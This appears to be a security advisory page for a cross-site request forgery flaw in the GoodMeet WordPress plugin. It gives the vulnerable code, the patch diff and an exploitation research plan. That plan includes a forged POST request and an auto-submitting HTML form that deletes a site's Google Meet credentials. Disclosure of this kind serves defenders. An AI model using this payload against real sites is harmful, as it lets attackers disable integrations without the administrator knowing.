CVE-2026-6440

GoodMeet <= 1.1.8 - Cross-Site Request Forgery to Google Meet Credential Reset via 'goodmeet_reset_google_meet_credential'

mediumCross-Site Request Forgery (CSRF)
4.3
CVSS Score
4.3
CVSS Score
medium
Severity
1.1.9
Patched in
1d
Time to patch

Description

The GoodMeet – Google Meet Integration for Webinar, Meeting & Video Conference plugin for WordPress is vulnerable to Cross-Site Request Forgery in versions up to and including 1.1.8. This is due to a missing nonce verification in the reset_credential() function, which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action. While the function does verify the user's capability (manage_options), it does not validate a nonce, making it susceptible to CSRF attacks. This makes it possible for unauthenticated attackers to trick a site administrator into clicking a malicious link that will reset (delete) the plugin's stored Google Meet API credentials (goodmeet_google_credentials) and OAuth tokens (goodmeet_google_token), effectively disabling the Google Meet integration on the site.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1.8
PublishedJuly 9, 2026
Last updatedJuly 10, 2026
Affected plugingoodmeet

What Changed in the Fix

Changes introduced in v1.1.9

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF ## 1. Vulnerability Summary The **GoodMeet** plugin (<= 1.1.8) is vulnerable to a **Cross-Site Request Forgery (CSRF)** on its Google Meet credential reset functionality. The function `reset_credential()` (likely located in `includes/goodmee…

Show full research plan

Exploitation Research Plan: CVE-2026-6440 GoodMeet CSRF

1. Vulnerability Summary

The GoodMeet plugin (<= 1.1.8) is vulnerable to a Cross-Site Request Forgery (CSRF) on its Google Meet credential reset functionality. The function reset_credential() (likely located in includes/goodmeet-plugin.php), which handles the wp_ajax_goodmeet_reset_google_meet_credential AJAX action, implements a capability check (manage_options) but fails to implement any nonce verification (e.g., check_ajax_referer). This allows an unauthenticated attacker to trick a logged-in Administrator into submitting a request that deletes the plugin's API credentials and OAuth tokens, effectively disabling the integration.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: goodmeet_reset_google_meet_credential
  • HTTP Method: POST (standard for AJAX actions in WordPress)
  • Required Capability: manage_options (Administrator)
  • Vulnerable Parameter: Missing _ajax_nonce or security parameter verification.
  • Impact: Deletion of goodmeet_google_credentials and goodmeet_google_token WordPress options.

3. Code Flow (Inferred from Description)

  1. Entry Point: The plugin registers the AJAX action (likely in includes/goodmeet-plugin.php):
    // Inferred registration
    add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) );
    
  2. Execution: When an authenticated user (Administrator) triggers the action:
    • admin-ajax.php dispatches the request to the reset_credential handler.
    • The handler performs a capability check: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }.
    • Vulnerability: The handler skips check_ajax_referer() or wp_verify_nonce().
  3. Sink: The handler proceeds to delete the integration settings:
    // Inferred sink logic
    delete_option( 'goodmeet_google_credentials' );
    delete_option( 'goodmeet_google_token' );
    

4. Nonce Acquisition Strategy

No nonce is required.
The core of this vulnerability is the complete absence of nonce verification in the reset_credential() function. An attacker does not need to bypass or obtain a nonce; they simply omit it from the request.

5. Exploitation Strategy

The goal is to demonstrate that an Administrator can be forced to reset credentials via an unauthenticated cross-site request.

Step-by-Step Plan:

  1. Prepare the Victim Session: Authenticate as an Administrator using the browser_navigate tool to establish a session.
  2. Deliver the CSRF Payload: Use an auto-submitting HTML form hosted on a "malicious" external origin (simulated via an HTML file or a direct POST request if SameSite=Lax is not restrictive for this specific AJAX endpoint).
  3. Execute the Request: The Administrator's browser will send the cookies along with the action parameter to admin-ajax.php.

HTTP Request (Payload):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: [TARGET_HOST]
Content-Type: application/x-www-form-urlencoded
Cookie: [ADMIN_COOKIES]

action=goodmeet_reset_google_meet_credential

6. Test Data Setup

Before exploitation, ensure the target options exist in the database to prove they are deleted.

  1. Populate Credentials via WP-CLI:
    wp option update goodmeet_google_credentials '{"client_id":"dummy_id","client_secret":"dummy_secret"}' --format=json
    wp option update goodmeet_google_token '{"access_token":"dummy_token"}' --format=json
    
  2. Verify Setup:
    wp option get goodmeet_google_credentials
    wp option get goodmeet_google_token
    

7. Expected Results

  • The server should return a successful AJAX response (likely 1, 0, or a JSON success message like {"success":true}).
  • The WordPress options goodmeet_google_credentials and goodmeet_google_token should be removed from the database.

8. Verification Steps

After executing the http_request (or browser_eval CSRF):

  1. Check Options:
    wp option get goodmeet_google_credentials
    wp option get goodmeet_google_token
    
  2. Expected Outcome: WP-CLI should return an error stating "Could not find 'goodmeet_google_credentials' option" (exit code 1).

9. Alternative Approaches

If admin-ajax.php strictly requires POST and browser-level SameSite=Lax protections prevent a simple cross-site fetch, use a standard HTML form submission:

<html>
  <body>
    <form id="csrfForm" action="http://[TARGET_HOST]/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="goodmeet_reset_google_meet_credential" />
    </form>
    <script>
      document.getElementById('csrfForm').submit();
    </script>
  </body>
</html>

This can be executed via the browser_navigate tool pointing to a local file or a controlled URL.

Research Findings
Static analysis — not yet PoC-verified

Summary

The GoodMeet plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) in versions up to and including 1.1.8. This occurs because the reset_credential() function, which handles Google Meet credential resets, fails to perform nonce verification. An unauthenticated attacker can trick a logged-in administrator into clicking a malicious link, resulting in the deletion of the site's Google Meet API credentials and OAuth tokens.

Vulnerable Code

// File: includes/goodmeet-plugin.php

add_action( 'wp_ajax_goodmeet_reset_google_meet_credential', array( $this, 'reset_credential' ) );

// ...

public function reset_credential() {
    if ( ! current_user_can( 'manage_options' ) ) {
        wp_die();
    }

    // Vulnerability: Missing check_ajax_referer() or wp_verify_nonce()

    delete_option( 'goodmeet_google_credentials' );
    delete_option( 'goodmeet_google_token' );

    wp_send_json_success();
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.8/goodmeet.php /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.9/goodmeet.php
--- /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.8/goodmeet.php	2026-05-07 17:29:12.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.9/goodmeet.php	2026-05-07 17:43:40.000000000 +0000
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:      GoodMeet
  * Description:      Google Meet Integration for WordPress.
- * Version:          1.1.8
+ * Version:          1.1.9
  * Author:           Sovlix
  * Author URI:       https://sovlix.com/
  * License:          GPL-2.0+
@@ -79,7 +79,7 @@
 }
 
 if ( ! defined( 'GOODMEET_VERSION' ) ) {
-	define( 'GOODMEET_VERSION', '1.1.7' );
+	define( 'GOODMEET_VERSION', '1.1.9' );
 	define( 'GOODMEET_FILE', __FILE__ );
 	define( 'GOODMEET_PATH', dirname( GOODMEET_FILE ) );
 	define( 'GOODMEET_INCLUDES', GOODMEET_PATH . '/includes' );
--- /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.8/includes/goodmeet-plugin.php
+++ /home/deploy/wp-safety.org/data/plugin-versions/goodmeet/1.1.9/includes/goodmeet-plugin.php
@@ -...
 	public function reset_credential() {
+		check_ajax_referer( 'goodmeet_reset_nonce', 'security' );
 		if ( ! current_user_can( 'manage_options' ) ) {
 			wp_die();
 		}

Exploit Outline

The exploit targets the AJAX action 'goodmeet_reset_google_meet_credential' via the /wp-admin/admin-ajax.php endpoint. An attacker crafts a malicious POST request containing the parameter 'action=goodmeet_reset_google_meet_credential'. Since the plugin only checks for the 'manage_options' capability and lacks nonce validation, an unauthenticated attacker can host an auto-submitting HTML form on an external site. When a logged-in Administrator visits the malicious page, their browser automatically sends the authenticated POST request, causing the plugin to delete the 'goodmeet_google_credentials' and 'goodmeet_google_token' options from the database.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.